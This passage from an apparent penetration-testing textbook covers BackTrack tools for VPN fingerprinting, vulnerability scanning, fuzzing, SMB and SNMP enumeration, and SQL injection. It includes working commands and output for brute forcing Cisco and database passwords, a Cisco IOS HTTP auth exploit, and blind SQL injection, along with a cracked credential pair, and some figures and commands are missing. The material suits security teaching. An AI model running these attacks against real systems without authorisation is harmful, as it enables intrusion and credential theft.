using a public network is much cheaper than using a dedicated line. With the VPN,
the branch office will be able to use the application in the headquarters as if the
branch office is located in the Local Area Network (LAN). The connection established
is protected by encryption.
Based on the method used, VPN can be divided into at least three groups:
• IPSec-based VPN: This type is a popular VPN solution for connecting the
branch office to the head office's LAN. The branch office will install an
IPSec VPN client on the network gateway, while the head office will install
an IPSec VPN server on its network gateway. It is not a popular method to
connect a user to the head office's LAN, due to the complexity of configuring
the method. The user using this method is called "road-warrior".
• OpenVPN: This type is a very popular VPN solution for road-warriors. In
OpenVPN, a user needs to install an OpenVPN client before being able to
connect to the VPN server. The advantage of this mode is that it is very easy
to set up and doesn't need administrator-level privilege to run.
• SSL-based VPN: In this category, the user doesn't need a dedicated VPN
client, but can use a web browser to connect to the VPN server as long as the
web browser supports SSL connection.
[ 156 ]
Chapter 6
ike-scan
ike-scan is a security tool that can be used to discover, fingerprint, and test IPSec
VPN systems. It works by sending IKE phase-1 packets to the VPN servers and
displaying any responses it received. Internet Key Exchange (IKE) is the key
exchange and authentication mechanism used by IPsec.
• Discovery: Finding out hosts running IKE by displaying hosts which respond
to the IKE request.
• Fingerprint: Identify the IKE implementation used by the IPSec VPN server.
Usually this information contains the VPN vendor and model of the VPN
server. This is useful for later use in the vulnerability analysis process.
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to discover and fingerprint an IPSec VPN server and give
verbose information (-v), and display each payload on a separate line (-M).
#ike-scan -M -v 192.168.109.99
[ 157 ]
Enumerating Target
• Encryption: 3DES
• Hash: SHA1
• Auth: PSK
• Diffie-Hellman group: 2
• SA lifetime: 28800 seconds
After you get the SA payload information, you can continue with the fingerprinting.
To fingerprint the VPN server we need to define the transform attributes until we
find one which is acceptable.
[ 158 ]
Chapter 6
Summary
In this chapter, we discussed the target enumeration and its purpose. We also
discussed port scanning as one of the target enumeration methods. You learned
about several types of port scanning, and then we looked at several tools, such
as AutoScan, Nmap, Unicornscan, to carry out port scanning process. We also
discussed service enumeration and the tools to do that, such as Amap, Httprint, and
Httsquash. Lastly, we talked about VPN enumeration and the ike-scan as the tool to
carry out this process.
[ 159 ]
Vulnerability Mapping
Vulnerability Mapping is a process of identifying and analyzing the critical security
flaws in the target environment. This terminology is also sometimes known as
vulnerability assessment. It is one of the key areas of the vulnerability management
program through which the security controls of an IT infrastructure can be analyzed
against known and unknown vulnerabilities. Once the operations of information
gathering, discovery, and enumeration have been completed, it is time to investigate
the vulnerabilities that may exist in the target infrastructure which could lead
to a compromise of the target and violation of the confidentiality, integrity, and
availability of a business system.
Types of vulnerabilities
There are three main classes of vulnerability by which the distinction can be made
for the types of flaws (local and remote). These classes are generally divided
into design, implementation, and operational category. Design vulnerabilities
are discovered due to the weaknesses found in the software specifications,
implementation vulnerabilities are the technical security glitches found in the code
of a system, and the operational vulnerabilities are those which may arise due to
improper configuration and deployment of a system in a specific environment. Based
on these three classes, we have presented two generic types of vulnerabilities which
can fit into any class of the vulnerability explained above.
Local vulnerability
A system on which the attacker requires local access in order to trigger the
vulnerability by executing a piece of code is known as "local vulnerability". By taking
advantage of this type of vulnerability, an attacker can increase the access privileges
to gain unrestricted access to the computer system. Let us take an example in which
Bob has local access to MS Windows Server 2008 (32-bit, x86 platform). His access
has been restricted by the administrator by implanting a security policy which will
not allow him to run the specific application.
[ 162 ]
Chapter 7
Now, under extreme conditions he found out that using a malicious piece of code
can allow him to gain system-level or kernel-level access to the computer system.
By exploiting this well-known vulnerability (for example, CVE-2010-0232, GP Trap
Handler nt!KiTrap0D) he gains escalated privileges, allowing him to perform all the
administrative tasks and gain unrestricted access to the application. This shows a
clear advantage taken by the malicious adversary or local users to gain unauthorized
access to the system.
Remote vulnerability
A system to which the attacker has no prior access but the vulnerability of which can
still be exploited by triggering the malicious piece of code over the network is known
as "remote vulnerability". This type of vulnerability allows an attacker to gain remote
access to the computer system without facing any physical or local barriers. For
instance, Bob and Alice are connected to the Internet individually. Both of them have
different IP addresses and are geographically dispersed over two different regions.
Let us assume that Alice's computer is running Windows XP operating system which
is holding secret biotech information. We also assume that Bob already knows the
operating system and IP address of Alice's machine. Bob is now desperately looking
for a solution that can allow him to gain remote access to her computer. In the mean
time, he comes to know that the MS08-067 Windows Server Service vulnerability can
easily be exploited against the Windows XP machine remotely. He then triggers the
exploit against Alice's computer and gains full access to it.
[ 163 ]
Vulnerability Mapping
Vulnerability taxonomy
With an increase in the number of technologies over the past few years, there have
been various attempts to introduce the best taxonomy which could categorize all the
common set of vulnerabilities. However, no single taxonomy has been produced to
represent all the common coding mistakes that may affect the system security. This
is due to the fact that a single vulnerability may fall into more than one category
or class. Additionally, every system platform has its own base for connectivity,
complexity, and extensibility to interact with its environment. Thus, the taxonomy
standards we have presented in the following table help you identify most of
the security glitches whenever possible. It is also vital to note that most of these
taxonomies have already been implemented in a number of security assessment tools
to investigate the software security problems in real-time.
GrammaTech http://www.grammatech.com
Since the primary function of each of these taxonomies is to organize sets of security
vulnerabilities that can be used by the security practitioners and developers to
identify the specific errors that may have impact on the system security, no single
taxonomy should be considered complete and accurate.
[ 164 ]
Chapter 7
[ 165 ]
Vulnerability Mapping
[ 166 ]
Chapter 7
[ 167 ]
Vulnerability Mapping
Now your client is successfully connected to OpenVAS server. It is time to define the
target parameters (one or multiple hosts), select the appropriate plugins, provide the
required credentials, and define any necessary access rules (as mentioned at step 2).
Once these Global Settings have been completed, go to File | Scan Assistant and
specify the details for all the four major steps (Task, Scope, Targets, and Execute)
in order to execute the selected tests against your target. You will be prompted to
specify the login credential and the assessment will be commenced afterwards. It
will take some time to complete the assessment based on your chosen criteria.
You can see that we have successfully finished our assessment and the report is
presented under the given "task" name. From the top menu, select Report | Export
and there you can select the appropriate format of your report (NBE, XML, HTML,
LaTeX, TXT, PDF). The OpenVAS is a powerful vulnerability assessment software
that allows you to assess your target against all the critical security problems, and
provide a comprehensive report with the risk measurement, vulnerability detail,
solution, and references to online resources.
[ 168 ]
Chapter 7
Cisco analysis
Cisco products are one of the top networking devices found in major corporate
and government organizations today. This not only increases the threat and attack
landscape for the Cisco devices but also presents a significant challenge to exploit
them. Some of the most popular technologies developed by Cisco include routers,
switches, security appliances, wireless products, and the software such as IOS, NX-
OS, Security Device Manager, Cisco Works, Unified Communications Manager,
and many others. In this section, we will exercise some Cisco related security tools
provided under BackTrack.
This will show all the options and descriptions about the CAT usage. Let us execute
the following options against our target Cisco device.
This combination will brute force and scan the Cisco device for any known
passwords, community names, and possibly the old IOS bugs. Before doing this
exercise, we have to also update our list of passwords and community strings at
the location /pentest/cisco/cisco-auditing-tool/lists in order to get more
probability of success. Here is an input and output from the BackTrack console:
# ./CAT -h ww.xx.yy.zz -w lists/community -a lists/passwords -i
Cisco Auditing Tool - g0ne [null0]
Checking Host: ww.xx.yy.zz
Guessing passwords:
[ 169 ]
Vulnerability Mapping
If you want to update your list of passwords and community strings, you can use
the Vim editor from within the console before executing the above command. More
information about the Vim editor can be retrieved using the following command:
# man vim
There are 16 different privilege modes available for the Cisco devices,
ranging from 0 (most restricted level) to 15 (least restricted level). All the
accounts created should have been configured to work under the specific
privilege level. More information on this is available at http://www.
cisco.com/en/US/docs/ios/12_2t/12_2t13/feature/guide/
ftprienh.html.
[ 170 ]
Chapter 7
The options that appear next to your screen provide usage instructions and the list of
14 vulnerabilities in a defined order. Let us take an example by testing one of these
vulnerabilities against our Cisco 878 integrated services router.
# ./cge.pl 10.200.213.25 3
Vulnerability successful exploited with [http:// 10.200.213.25/
level/17/exec/....] ...
Here, the test has been conducted using [3] - Cisco IOS HTTP Auth Vulnerability
which has been successfully exploited. Upon further investigation we will find that
this vulnerability can easily be exploited with other set of Cisco devices using a similar
strategy. More information regarding this vulnerability can be found at http://www.
cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml.
[ 171 ]
Vulnerability Mapping
All the usage instructions and options will be displayed on your screen. Now using
a simple syntax, ./ciscos <ip network> <class> <options> we can easily scan
the whole class of IP network. In our exercise we will be using two available options,
-t <connection timeout value in seconds> and -C <maximum connection
threads> in order to optimize the test execution process.
# ./ciscos 10.200.213 3 -t 4 -C 10
Cisco Scanner v1.3
Scanning: 10.200.213.*
output:cisco.txt
threads:10
timeout:4
Cisco found: 10.200.213.49
Cisco found: 10.200.213.81
Cisco found: 10.200.213.89
Cisco found: 10.200.213.137
Cisco found: 10.200.213.185
Cisco found: 10.200.213.193
Cisco found: 10.200.213.233
[ 172 ]
Chapter 7
Fuzzy analysis
Fuzzy analysis is a hardcore software testing technique used by the auditors and
developers to test their applications against unexpected, invalid, and random set of
data inputs. The reaction will then be noticed in terms of exception or crash thrown
by these applications. This activity uncovers some of the major vulnerabilities in the
software, which otherwise are not possible to discover. These include buffer overflows,
format strings, code injections, dangling pointers, race conditions, denial of service
conditions, and many other types of vulnerabilities. There are different classes of
fuzzers available under BackTrack which can be used to test the file formats, network
protocols, command-line inputs, environmental variables, and web applications.
Any untrusted source of data input is considered to be insecure and inconsistent.
For instance, a trust boundary between the application and the Internet user is
unpredictable. Thus, all the data inputs should be fuzzed and verified against known
and unknown vulnerabilities. Fuzzy analysis is a relatively simple and effective
solution that can be incorporated into a quality assurance and security testing process.
For this reason, it is also sometimes known as robustness testing or negative testing.
BED
Bruteforce Exploit Detector (BED) is a powerful tool designed to fuzz the plain-text
protocols against potential buffer overflows, format string bugs, integer overflows,
DoS conditions, and so on. It automatically tests the implementation of a chosen
protocol by sending a different combination of commands with problematic strings
to confuse the target. The protocols supported by this tool are ftp, smtp, pop, http,
irc, imap, pjl, lpd, finger, socks4, and socks5.
[ 173 ]
Vulnerability Mapping
The usage instructions will now appear on the screen. It is very important to note
that the description about the specific protocol plugin can be retrieved by:
# ./bed.pl –s FTP
From the output we can anticipate that the remote FTP daemon has been interrupted
during the 14th test case. This could be a clear indication of buffer overflow bug;
however, the problem can further be investigated by looking into the specific plugin
module and locating the pattern of the test case (for example, /pentest/fuzzers/
bed/bedmod/ftp.pm). It is always a good idea to test your target at least two more
times by resetting it to its normal state, increasing the timeout value (-o) and
checking if the problem is reproducible.
[ 174 ]
Chapter 7
Bunny
Bunny is a general purpose fuzzer designed specifically to test the C programs. It
formulates the compiler-level integration which injects the instrumentation hooks
into the application process and monitors its execution for changes in functions
calls, parameters, and return values in response to changes to the input data. The
operation is performed in real-time and the feedback is provided accordingly. Bunny
supports up to nine different fault injection strategies that provide detailed controls
over their type, behavior, depth, and likeliness. These strategies are mainly based on
several deterministic, random, and sequential data type techniques.
All the standard and mandatory options will now be displayed on your screen.
Before we walk through our examples, it is highly recommended to read the
Bunny documentation from the preceding directory (vim README). Under the base
directory, execute:
# ./bunny-gcc tests/testcase1.c
[bunny] bunny-gcc 0.93-beta (Jul 27 2008 21:20:41) by <lcamtuf@google.
com>
[bunny] STAGE 1/3: Precompiling 'tests/testcase1.c'...
[bunny] STAGE 2/3: Injected 18 hooks into 'tests/testcase1.c' (420
tokens).
[bunny] STAGE 3/3: Compiling and linking executable to default
location...
tests/testcase1.c:39: warning: anonymous struct declared inside
parameter list
...
# ./bunny-trace /pentest/fuzzers/bunny/a.out
NOTE: File descriptor #99 closed, defaulting to stderr instead.
bunny-trace 0.93-beta (Jul 27 2008 21:20:43) by <[email protected]>
+++ Trace of '/pentest/fuzzers/bunny/a.out' started at 2010/09/04
04:11:46 +++
Hello cruel world.
How are you?
Goodbye.
[12554] 000 .- main()
[12554] 001 | .- foo1(1)
[12554] 001 | `- = 7
[12554] 001 | .- foo2(2)
[ 175 ]
Vulnerability Mapping
[12554] 001 | `- = 9
[12554] 001 | .- something(3, 4)
[12554] 001 | `- = 0
[12554] 001 | .- name13(5, 6, 7)
[12554] 001 | `- = 0
[12554] 001 +--- 10
[12554] 000 `- = 0
--- Process 12554 exited (code=0) ---
+++ Trace complete (0.103 secs) +++
In the above example, we have used the test case file testcase1.c provided under
the tests directory. During the compilation process bunny-gcc program may throw
some warnings that can be safely ignored. Once the program has been compiled, you
will see a new binary file a.out under the main directory. At the second step, we have
started tracing the execution of a compiled binary using the bunny-trace utility in
order to provide you with a view of how fuzzer technically looks into the application.
Now, let us take another example in which we create two sub-directories (in_dir
and out_dir) under one main directory (test). The input directory in_dir acts as
a source for fuzzy testing input and the output directory out_dir will save all the
necessary log files and crash reports. We are going to demonstrate fuzzy testing
against kview application located at /opt/kde3/bin/kview which is a default
program to view images:
# mkdir test
# mkdir test/in_dir
# mkdir test/out_dir
# cp /root/01.JPG /pentest/fuzzers/bunny/test/in_dir/01.JPG
# ./bunny-main -i test/in_dir/ -o test/out_dir/ -d \ /opt/kde3/bin/kview
Bunny the Fuzzer - a high-performance instrumented fuzzer by <lcamtuf@
google.com>
--------------------------------------------------------------
Code version : 0.93-beta (Jul 27 2008 21:20:47)
Start date : Sat Sep 4 03:57:14 2010
Target exec : /opt/kde3/bin/kview
Command line : <none>
Input files : test/in_dir//
State files : test/out_dir//
Fuzz output : <target stdin>
Random seed : 62cbcaa1
All settings : T=5000,2000 B=8+1 C=8+1,8 A=10 X=9,19,27+8 R=4096*8
L0=32,16 r00 c=2 U0 E=200 f0 k0 F=0
[+] Flow controller launched, 32071 bytes fuzzable.
[ 176 ]
Chapter 7
The kview program has successfully passed its initial test with fuzz data file
01.jpg. However, by using more advanced options and complex inputs with the
bunny-main program, you may create a situation where it could crash or throw
some useful exceptions. More information about Bunny can be retrieved from
http://code.google.com/p/bunny-the-fuzzer/.
JBroFuzz
JBroFuzz is a well-known platform for web application fuzzy testing. It supports
web requests over HTTP and HTTPS protocol. By providing a simple URL for the
target domain and selecting the part of a web request to fuzz, an auditor can either
select to craft the manual request or use the predefined set of payloads database
(for example, Cross-site scripting, SQL Injection, Buffer overflow, Format String
Errors, and so on) to generate some malicious requests based on previously known
vulnerabilities and send them to the target web server. The corresponding responses
will then be recorded for further inspection. Based on the type of testing performed,
these responses or results should be investigated manually in order to recognize
any possible exploit condition. The key options provided under JBroFuzz are the
fuzz management, payload categories, sniffing the web requests and replies through
browser proxy, and enumerating the web directories. Each of these has unique
functions and capabilities to handle application protocol fuzzing.
[ 177 ]
Vulnerability Mapping
Once the GUI application has been loaded, you can visit a number of available
options to learn more about their prospects. If you need any assistance, go to the
menu and choose Help | Topics.
Now let us take an example by testing the target web application. We selected
the URL of our target domain as (http://testasp.targetdomain.com) which
is hosting ASP web application. In the Request panel we also modify the HTTP
Request to suite our testing criteria:
GET /showthread.asp?id=4 HTTP/1.0
Host: testasp.targetdomain.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB;
rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[ 178 ]
Chapter 7
Before crafting the preceding request, we already knew that the resource URL
http://testasp.targetdomain.com/showthread.asp?id=4 does exist on the web
server. After creating a manual request, we decide to target the specific part of a URL
(id=4) with SQL injection payload. Thus, we simply highlight a numeric value "4"
on the first line and click the add button (+) on the top toolbar. In the new window,
we select SQL Injection category, fuzzer name SQL Injection and click the button
Add Fuzzer. Once the fuzzer has been finalized, you see it listed under the Added
Payloads Table in the right-hand corner of the main window.
If you have followed the preceding steps thoroughly, you are now ready to start
fuzzing the target web application against a set of SQL injection vulnerabilities. To
start, go to the menu and choose Panel | Start or use the shortcut key Ctrl+Enter
from your keyboard. As the request is being processed you will see that the Output
has been logged in the table below the request panel. Additionally, you may be
interested in catching up on the progress on each HTTP(s) request that can be done
through the use of the On The Wire tab. After the fuzzy session has been completed,
you can investigate each response based on the crafted request. This can be done by
clicking on the specific response in the Output window and right-clicking to choose
Properties or Open in Browser option. We get the following response to one of our
requests which clearly shows the possibility of SQL injection vulnerability:
HTTP/1.1 500 Internal Server Error Connection: close Date: Sat, 04
Sep 2010 21:59:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET
Content-Length: 302 Content-Type: text/html Set-Cookie: ASPSESSIONIDQA
DTCRCB=KBLKHENAJBNNKIOKKAJJFCDI; path=/ Cache-control: private
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string ''.
/showthread.asp, line 9
[ 179 ]
Vulnerability Mapping
SMB analysis
Server Message Block (SMB) is an application-layer protocol which is commonly used
to provide file and printer sharing services. Moreover, it is also capable of handling the
share between serial ports and laid miscellaneous communications between different
nodes on the network. It is also known as Common Internet File System (CIFS). SMB
is purely based on client-server architecture and it has been implemented on various
operating systems, such as Linux and Windows. Network Basic Input Output System
(NetBIOS) is an integral part of SMB protocol which implements the transport service
on Windows systems. NetBIOS runs on top of the TCP/IP protocol (NBT) and thus
allows each computer with a unique network name and IP address to communicate
over Local Area Network (LAN). Additionally, the DCE/RPC service uses SMB as
a channel for authenticated inter-process communication (IPC) between network
nodes. This phenomenon allows communication between processes and computers
to share data on authenticated channels. The NetBIOS services are commonly offered
on various TCP and UDP ports (135, 137, 138, 139, and 445). Due to these superior
capabilities and weak implementation of SMB protocol, it has always been a vital
target for hackers. A number of vulnerabilities have been reported in the past which
could be advantageous to compromise the target. The tools presented in this section
will provide us useful information about the target, such as hostname, running
services, domain controller, MAC address, OS type, current users logged in, hidden
shares, time information, users group, current sessions, printers, available disks, and
much more.
Impacket Samrdump
The Samrdump is an application that retrieves sensitive information about the
specified target using Security Account Manager (SAM), a remote interface which is
accessible under the Distributed Computing Environment / Remote Procedure Calls
(DCE/RPC) service. It lists out all the system shares, user accounts, and other useful
information about target presence in the local network.
[ 180 ]
Chapter 7
This will display all the usage and syntax information necessary to execute
Samrdump. By using a simple syntax ./samrdump.py user:pass@ip port/SMB it
will help us to run the application against the selected port (139 or 445).
# ./samrdump.py h4x:[email protected] 445/SMB
Retrieving endpoint list from 192.168.0.7
Trying protocol 445/SMB...
Found domain(s):
. CUSTDESK
. Builtin
Looking up users in domain CUSTDESK
Found user: Administrator, uid = 500
Found user: ASPNET, uid = 1005
Found user: Guest, uid = 501
Found user: h4x, uid = 1010
Found user: HelpAssistant, uid = 1000
Found user: IUSR_MODESK, uid = 1004
Found user: IWAM_MODESK, uid = 1009
Found user: MoDesktop, uid = 1003
Found user: SUPPORT_388945a0, uid = 1002
Administrator (500)/Enabled: true
...
The output clearly shows all the user accounts held by the remote machine. It is
crucial to note that the username and password for the target system is only required
when you need certain information which otherwise is not available. Inspecting
all the available shares for sensitive data and cracking into other user accounts can
further reveal valuable information.
Smb4k
The Smb4k is an easy-to-use network neighborhood browser. It will help us to
automatically browse the network shares on active workgroups and domains.
Depending on the target security policy it may ask you to enter the authentication
details in order to preview or access the remote shares. Mounting and unmounting
operations are also supported on these remote shares. The mounted shares can be
viewed directly into the file manager (Konqueror) or terminal program (Konsole).
An ability to use customized options for individual servers, synchronization
between remote shares and local files, searching the specific network, KWallet
password management, and bookmarking your favorite shares are some of the core
features of Smb4k.
[ 181 ]
Vulnerability Mapping
This will make the GUI interface for Smb4k popup. Initially, it will scan your local
workgroup and find the machines hosting remote shares. By clicking on any share
folder (foldername$) it will automatically mount it on the right panel, if the target
has no authentication policy. You can also mount the hidden shares manually using
Network | Mount Manually (Ctrl+O) and providing the share name, IP address,
and workgroup. Any accessible share folder can then be viewed via Shares | Open
with Konqueror (Ctrl+K) or Open with Konsole (Ctrl+L). Moreover, you can also
bookmark the favorite shares using Bookmarks | Add Bookmark (Ctrl+B) menu.
Finally, if you decide to customize everything presented by Smb4k, then go to the
menu Settings | Configure Smb4k. This will provide flexibility on defining user
interface, network options, shares function, authentication process, Samba settings,
and synchronization management.
SNMP analysis
Simple Network Management Protocol (SNMP) is an application-layer protocol
designed to run on UDP port 161. Its main function is to monitor all the network
devices for conditions which may require administrative attention, such as power
outage or unreachable destination. The SNMP-enabled network typically consists
of network devices, manager, and agent. A manager controls the administrative
tasks for network management and monitoring operations, an agent is a software
which runs on the network devices, and these network devices could involve
routers, switches, hubs, IP cameras, bridges, and sometimes operation system
machines (Linux, Windows). These agent-enabled devices report information about
their bandwidth, uptime, running processes, network interfaces, system services,
and other crucial data to the manager via SNMP. The information is transferred
and saved in the form of variables which describe the system configuration. These
variables are organized in systematic hierarchies known as Management Information
Bases (MIBs), where each variable is identified with a unique Object Identifier (OID).
There are a total of three versions available for SNMP (1, 2, 3). From a security view
point, v1 and v2c were designed to handle community-based security schemes
whereas v3 enhanced this security function to provide better confidentiality,
integrity, and authentication. The tools that we present in this section will mainly
target v1 and v2c based SNMP devices.
[ 182 ]
Chapter 7
ADMSnmp
The ADMSnmp is a very handful audit scanner. It can brute force the SNMP
community strings with a predefined set of wordlist or make a guess based on the
given hostname. It will scan the host for valid community strings and then check
each of those valid community names for read and write access permissions to MIBs.
Once executed, it will display all the possible options and syntax information. In
our exercise, we will be scanning one of our internetwork devices in order to find
valid community names and their access permissions. We have already prepared a
wordlist (passwords) containing known community strings to use it for our brute
force operation.
# ADMsnmp 10.93.15.242 -wordf passwords
ADMsnmp vbeta 0.1 (c) The ADM crew
ftp://ADM.isp.at/ADM/
greets: !ADM, el8.org, ansia
>>>>>>>>>>> get req name=diamond id = 2 >>>>>>>>>>>
>>>>>>>>>>> get req name=cmaker id = 5 >>>>>>>>>>>
>>>>>>>>>>> get req name=changeme id = 8 >>>>>>>>>>>
>>>>>>>>>>> get req name=attack id = 11 >>>>>>>>>>>
>>>>>>>>>>> get req name=changeme2 id = 14 >>>>>>>>>>>
>>>>>>>>>>> get req name=NULL id = 17 >>>>>>>>>>>
>>>>>>>>>>> get req name=public id = 20 >>>>>>>>>>>
>>>>>>>>>>> get req name=private id = 23 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 21 name = public ret =0 <<<<<<<<<<
>>>>>>>>>>>> send setrequest id = 21 name = public >>>>>>>>
>>>>>>>>>>> get req name=secret id = 26 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 22 name = public ret =0 <<<<<<<<<<
>>>>>>>>>>> get req name=cisco id = 29 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 24 name = private ret =0 <<<<<<<<<<
>>>>>>>>>>>> send setrequest id = 24 name = private >>>>>>>>
>>>>>>>>>>> get req name=admin id = 32 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 25 name = private ret =0 <<<<<<<<<<
>>>>>>>>>>> get req name=default id = 35 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 158 name = private ret =0 <<<<<<<<<<
>>>>>>>>>>> get req name=Cisco id = 38 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 158 name = private ret =0 <<<<<<<<<<
>>>>>>>>>>> get req name=ciscos id = 41 >>>>>>>>>>>
...
[ 183 ]
Vulnerability Mapping
As you can see, we detect both public and private community names with their
relevant permissions to access MIBs. This information is substantial and can further
be used to enumerate the target's internal system and network configuration data.
Snmp Enum
The Snmp Enum is a small Perl script used to enumerate the target SNMP device to
get more information about its internal system and network. The key data retrieved
may include system users, hardware information, running services, installed software,
uptime, share folders, disk drives, IP addresses, network interfaces, and other useful
information based on the type of SNMP device (Cisco, Windows, and Linux).
Now using the given syntax, and prior information about the public community
string on one of our Windows NT servers, we executed the following test:
# ./snmpenum.pl 10.20.182.44 public windows.txt
----------------------------------------
INSTALLED SOFTWARE
----------------------------------------
Service Pack 3 for SQL Server Integration Services 2005 (64-bit)
Service Pack 3 for SQL Server Reporting Services 2005 (64-bit) E
Service Pack 3 for SQL Server Database Services 2005 (64-bit) EN
Service Pack 3 for SQL Server Tools and Workstation Components 2
Update Rollup 7 de Microsoft Dynamics CRM Data Connector para
Microsoft .NET Framework 3.5 SP1
Microsoft SQL Server 2005 (64-bit)
...
----------------------------------------
UPTIME
----------------------------------------
16 days, 05:47:33.16
...
----------------------------------------
[ 184 ]
Chapter 7
HOSTNAME
----------------------------------------
SERVERSQLCRM01
----------------------------------------
USERS
----------------------------------------
Guest
Columbus
Administrator
----------------------------------------
DISKS
----------------------------------------
A:\
C:\ Label: Serial Number c9a56ad
D:\
E:\
Virtual Memory
Physical Memory
----------------------------------------
RUNNING PROCESSES
----------------------------------------
System Idle Process
System
svchost.exe
SLsvc.exe
smss.exe
svchost.exe
...
----------------------------------------
LISTENING UDP PORTS
----------------------------------------
123
161
500
1434
4500
5355
----------------------------------------
SYSTEM INFO
----------------------------------------
Hardware: Intel64 Family 6 Model 26 Stepping 5 AT/AT COMPATIBLE -
Software: Windows Version 6.0 (Build 6001 Multiprocessor Free)
...
[ 185 ]
Vulnerability Mapping
As you can see, a huge amount of information has been displayed on the screen.
This will help us to learn more about our target (10.20.182.44) from the technical
vulnerability assessment viewpoint.
SNMP Walk
The SNMP Walk is a powerful information gathering tool. It extracts all the device
configuration data depending on the type of device under examination. Such data is
very useful and informative in terms of launching further attacks and exploitation
attempts against the target. Moreover, the SNMP Walk is capable of retrieving a
single group MIB data or specific OID value.
You will see the program usage instructions and options on the screen. The main
advantage of using SNMP Walk is the ability to communicate over three different
versions of SNMP protocol (v1, v2c, v3). This is quite useful in a situation where
the remote device does not support backward compatibility. In our exercise we
formulated the command-line input focusing v1 and v2c respectively.
# snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 10.20.127.49
SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 15 Model 4
Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build
3790 Multiprocessor Free)
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.2
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1471010940) 170
days, 6:08:29.40
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: CVMBC-UNITY
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 76
IF-MIB::ifNumber.0 = INTEGER: 4
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.65538 = INTEGER: 65538
IF-MIB::ifIndex.65539 = INTEGER: 65539
IF-MIB::ifIndex.65540 = INTEGER: 65540
IF-MIB::ifDescr.1 = STRING: Internal loopback interface for 127.0.0
network
IF-MIB::ifDescr.65538 = STRING: Internal RAS Server interface for dial
in clients
IF-MIB::ifDescr.65539 = STRING: HP NC7782 Gigabit Server Adapter #2
[ 186 ]
Chapter 7
[ 187 ]
Vulnerability Mapping
Information extracted here provides useful insights for the target machine. The
command line switch -c represents the community string to be used to extract MIBs,
-O to print the output in a human-readable text format (T) and -L to log the data into
a file (f snmpwalk.txt). More information on various uses of SNMP Walk can be
found at http://net-snmp.sourceforge.net/wiki/index.php/TUT:snmpwalk. As
much as the information is harvested and reviewed it will help the penetration tester
to understand the target network infrastructure.
To learn more about SQL Injection attacks and their types, please
visit: http://hakipedia.com/index.php/SQL_Injection.
[ 188 ]
Chapter 7
DBPwAudit
DBPwAudit is a java based tool designed to audit passwords for Oracle, MySQL,
MS-SQL, and IBM DB2 servers. The application design is greatly simplified to
allow us to add more database technologies as required. It helps the pentester to
discover valid user accounts on database management systems, if not hardened with
secure password policy. It currently supports the dictionary-based password attack
mechanism.
This will display all the options and usage instructions on your screen. In order to
know which database drivers are supported by DBPwAudit, execute the following
command:
# ./dbpwaudit.sh -L
This will list all the available database drivers specific to particular database
management systems. It is also important to note their aliases in order to refer them
for test execution. Before we present any example, it has come to our attention that
these drivers were not shipped with the DBPwAudit package due to licensing issues.
This has also been mentioned in the README file under the program directory. So,
we decide to download and copy the driver file (for example, MySQL JDBC) into its
relevant directory /pentest/database/dbpwaudit/jdbc/. All the other consecutive
drivers should follow similar instructions:
# apt-get install libmysql-java
# cp /usr/share/java/mysql-5.1.6.jar \ /pentest/database/dbpwaudit/jdbc/
Once the MySQL database driver is in place, we can start auditing the target database
server for common user accounts. For this exercise we have also created two files
users.txt and passwords.txt with a list of common usernames and passwords.
[ 189 ]
Vulnerability Mapping
[Tue Sep 14 17:55:50 UTC 2010] Testing user: root, pass: RolVer123
ERROR: message: Access denied for user 'pokertab'@'10.2.206.18' (using
password: YES), code: 1045
[Tue Sep 14 17:55:56 UTC 2010] Testing user: pokertab, pass: RolVer123
...
[Tue Sep 14 17:56:51 UTC 2010] Finnishing password audit ...
Results for password scan against 10.2.251.24 using provider MySQL
------------------------------------------------------
user: pokertab pass: RolVer123
Tested 12 passwords in 69.823 seconds (0.17186314tries/sec)
Pblind
Pblind is a small Python script designed to exploit blind SQL injection vulnerabilities
within a given target URL. It is not a fully automated tool, but in the hands of a
highly skilled auditor it may turn into a semi-automated SQL injection machine.
Prior knowledge of database technology (Oracle, MySQL, MS-SQL) is necessary in
order to exploit the target application effectively.
It will now display the usage instructions and options that could be used with
Pblind. During our exercise, we have already explored the target website running
PHP application and chosen the specific URL ending with parameter=value. This
scenario is very important because most SQL injection vulnerabilities are exploited
using the value part (user supplied input) with string literal escape characters
embedded with SQL commands, which execute the malicious queries on the
target database.
# ./pblind.py \ "http://testphp.targetdomain.com/listproducts.php?cat=2"
...
[-] Url vulnerable!
Database:mysql
Result:
Time: 12.00517416
[ 190 ]
Chapter 7
After executing the preceding test, we understand that the remote web server is
using the MySQL database technology. Based on our knowledge of MySQL and the
rich functionality of Pblind allows us to execute MySQL statements within the URL.
# ./pblind.py -b mysql \ "http://testphp.targetdomain.com/listproducts.
php?cat=2+version()"
...
[-] Url vulnerable!
Database:mysql
Result:
5 . 0 . 2 2 - d e b i a n _ 0 Time: 16.2860600948
